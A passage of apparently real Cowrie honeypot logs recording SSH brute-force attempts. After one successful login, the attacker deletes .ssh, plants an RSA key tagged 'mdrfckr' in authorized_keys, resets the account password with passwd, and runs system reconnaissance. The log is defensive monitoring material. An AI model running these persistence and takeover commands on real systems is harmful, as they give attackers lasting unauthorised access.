sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:57:26.197200Z","src_ip":"152.244.206.148","session":"9f783b5127c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test321","message":"login attempt [test/test321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:57:26.782783Z","src_ip":"152.244.206.148","session":"9f783b5127c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:57:27.924831Z","src_ip":"152.244.206.148","session":"9f783b5127c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":35588,"dst_ip":"10.17.0.5","dst_port":22,"session":"115efc895844","protocol":"ssh","message":"New connection: 115.241.83.2:35588 (10.17.0.5:22) [session: 115efc895844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:01.354128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:01.359427Z","src_ip":"115.241.83.2","session":"115efc895844","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:01.579805Z","src_ip":"115.241.83.2","session":"115efc895844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdfghjkl123","message":"login attempt [root/Asdfghjkl123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:02.489249Z","src_ip":"115.241.83.2","session":"115efc895844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0016541481018,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:02.920960Z","src_ip":"212.30.36.164","session":"11f177501841","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.30.36.164","src_port":54362,"dst_ip":"10.17.0.5","dst_port":23,"session":"44266610cb7d","protocol":"telnet","message":"New connection: 212.30.36.164:54362 (10.17.0.5:23) [session: 44266610cb7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:03.654263Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:03.712096Z","src_ip":"115.241.83.2","session":"115efc895844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":19100,"dst_ip":"10.17.0.5","dst_port":22,"session":"8da83d007241","protocol":"ssh","message":"New connection: 104.208.108.166:19100 (10.17.0.5:22) [session: 8da83d007241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:15.548972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:15.553866Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:15.769670Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@654321","message":"login attempt [admin/admin@654321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:16.651597Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:17.126081Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:17.130005Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:17.134088Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:17.350264Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:17.813004Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:17.816723Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:18.034055Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:18.037911Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":19108,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fbb3cfaffcb","protocol":"ssh","message":"New connection: 104.208.108.166:19108 (10.17.0.5:22) [session: 6fbb3cfaffcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:18.251221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:18.255911Z","src_ip":"104.208.108.166","session":"6fbb3cfaffcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:18.476238Z","src_ip":"104.208.108.166","session":"6fbb3cfaffcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:19.388118Z","src_ip":"104.208.108.166","session":"6fbb3cfaffcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:20.639366Z","src_ip":"104.208.108.166","session":"6fbb3cfaffcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":19124,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffc1799efdff","protocol":"ssh","message":"New connection: 104.208.108.166:19124 (10.17.0.5:22) [session: ffc1799efdff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:20.865361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:20.869715Z","src_ip":"104.208.108.166","session":"ffc1799efdff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:21.093271Z","src_ip":"104.208.108.166","session":"ffc1799efdff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:22.007944Z","src_ip":"104.208.108.166","session":"ffc1799efdff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:23.231530Z","src_ip":"104.208.108.166","session":"ffc1799efdff","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:23.481831Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:23.485287Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:23.700293Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:24.158210Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin@654321\\nR7Rw2GTAR4eP\\nR7Rw2GTAR4eP\"|passwd|bash","message":"CMD: echo -e \"admin@654321\\nR7Rw2GTAR4eP\\nR7Rw2GTAR4eP\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:24.162604Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:24.165001Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:24.167624Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1cfdc5e5bbed14f695997e17fed58971f58195e675fd751d3211a50d0d986611","size":32,"shasum":"1cfdc5e5bbed14f695997e17fed58971f58195e675fd751d3211a50d0d986611","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/1cfdc5e5bbed14f695997e17fed58971f58195e675fd751d3211a50d0d986611 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:24.383119Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:24.849441Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin@654321\\nR7Rw2GTAR4eP\\nR7Rw2GTAR4eP\\n\"|passwd","message":"CMD: echo \"admin@654321\\nR7Rw2GTAR4eP\\nR7Rw2GTAR4eP\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:24.852632Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8c3dcc7919e2bff5a0c3fedb6bf2d9e2e7f73e64b3c8bc65ed161431181b25e4","size":25,"shasum":"8c3dcc7919e2bff5a0c3fedb6bf2d9e2e7f73e64b3c8bc65ed161431181b25e4","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/8c3dcc7919e2bff5a0c3fedb6bf2d9e2e7f73e64b3c8bc65ed161431181b25e4 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:25.067810Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:25.580860Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:25.584075Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:25.800464Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:26.264684Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:26.267129Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:26.481528Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:26.941569Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:26.944573Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:58:26.947645Z","src_ip":"104.208.108.166","session":"8da83d007241","protocol":"ssh"}
